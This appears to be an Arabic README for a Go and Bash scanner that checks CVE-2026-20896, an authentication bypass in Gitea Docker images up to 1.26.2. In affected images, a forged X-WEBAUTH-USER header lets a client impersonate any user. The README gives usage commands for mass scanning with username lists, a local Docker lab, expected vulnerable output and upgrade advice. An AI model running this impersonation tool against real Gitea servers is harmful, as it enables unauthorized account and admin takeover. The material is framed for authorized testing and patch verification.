
CVE-2026-20896 Gitea Docker X-WEBAUTH-USER فاحص تجاوز المصادقة
عمليات فريق أحمر/اختبار الاختراق المصرّح بها فقط.
يحتوي هذا المستودع على أداة فحص بسيطة لـ CVE-2026-20896، وهي ثغرة تجاوز للمصادقة في صور Gitea Docker الرسمية حتى الإصدار 1.26.2 ضمنًا، عندما يكون المصادقة عبر البروكسي العكسي مفعّلة.
صوّر Gitea Docker المتأثرة كانت تشحن قالب app.ini يحتوي على:
REVERSE_PROXY_TRUSTED_PROXIES = *
عندما يقوم المسؤول بتفعيل:
ENABLE_REVERSE_PROXY_AUTHENTICATION = true
كان Gitea يثق بالهيدر X-WEBAUTH-USER القادم من أي عنوان IP يستطيع الوصول إلى منفذ HTTP للحاوية مباشرةً. أي عميل يتجاوز البروكسي المعاكس المخصص للمصادقة يمكنه إرسال هيدر واحد وانتحال شخصية مستخدم معروف أو قابل للتخمين.
التأثير العملي هو انتحال حساب بدون مصادقة. إذا كان المستخدم المُخمَّن مسؤولًا، فإن أسوأ الحالات هي السيطرة الكاملة على مستوى التطبيق على مثيل Gitea ومستودعاته. تنفيذ أوامر على المضيف (Host RCE) يعتمد على البيئة ولا تدّعي هذه الأداة تحقيقه.
الإصدارات المصححة تبدأ من 1.26.3؛ ويُنصح بالترقية إلى 1.26.4 أو أحدث.
تقوم الأداة بـ:
Powered by Gitea Version: 1.26.4.>= 1.26.3.GET / مع هيدر X-WEBAUTH-USER: <username> لكل اسم مستخدم مُدخل.إصدار Go يدعم أهدافًا متعددة، ملفات أسماء مستخدمين، توازيًا، مهلات، إخراج JSONL، TLS مع --insecure، و--dry-run، و--force.
go build -o gitea-cve-2026-20896-check .
لا توجد اعتماديات Go خارجية مطلوبة.
هدف واحد:
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,gitea_admin,alice
أهداف متعددة وأسماء مستخدمين:
./gitea-cve-2026-20896-check \
--targets targets.txt \
--user-file users.txt \
--concurrency 64 \
--timeout 8s \
--jsonl
تشغيل تجريبي:
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,alice \
--dry-run
البديل عبر Bash:
./poc.sh --url http://localhost:3000 --users admin,alice
0: تم تأكيد إصابة واحدة على الأقل بانتحال شخصية قابل للاستغلال1: لم يتم تأكيد أي انتحال شخصية قابل للاستغلال2: خطأ في الاستخدام، أو الإدخال، أو وقت التشغيلالمختبر التالي يشغّل حاوية Gitea محلية متأثرة وينشئ مستخدم اختبار:
docker run -d --name gitea-cve-2026-20896 \
-p 127.0.0.1:3000:3000 \
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
-e GITEA__security__INSTALL_LOCK=true \
gitea/gitea:1.26.2
sleep 15
docker exec --user git gitea-cve-2026-20896 gitea admin user create \
--username alice \
--password 'longpasswordhere1234' \
--email [email protected] \
--must-change-password=false
./gitea-cve-2026-20896-check --url http://localhost:3000 --users bob,alice,admin
النتيجة الإيجابية المتوقعة:
[VULNERABLE] http://localhost:3000 user=alice title="alice - Dashboard - Gitea: Git with a cup of tea"
التنظيف:
docker rm -f gitea-cve-2026-20896
1.26.3 أو أحدث؛ ويُفضَّل 1.26.4 أو أحدث.1.26.3 / 1.26.4: https://blog.gitea.com/release-of-1.26.3-and-1.26.4/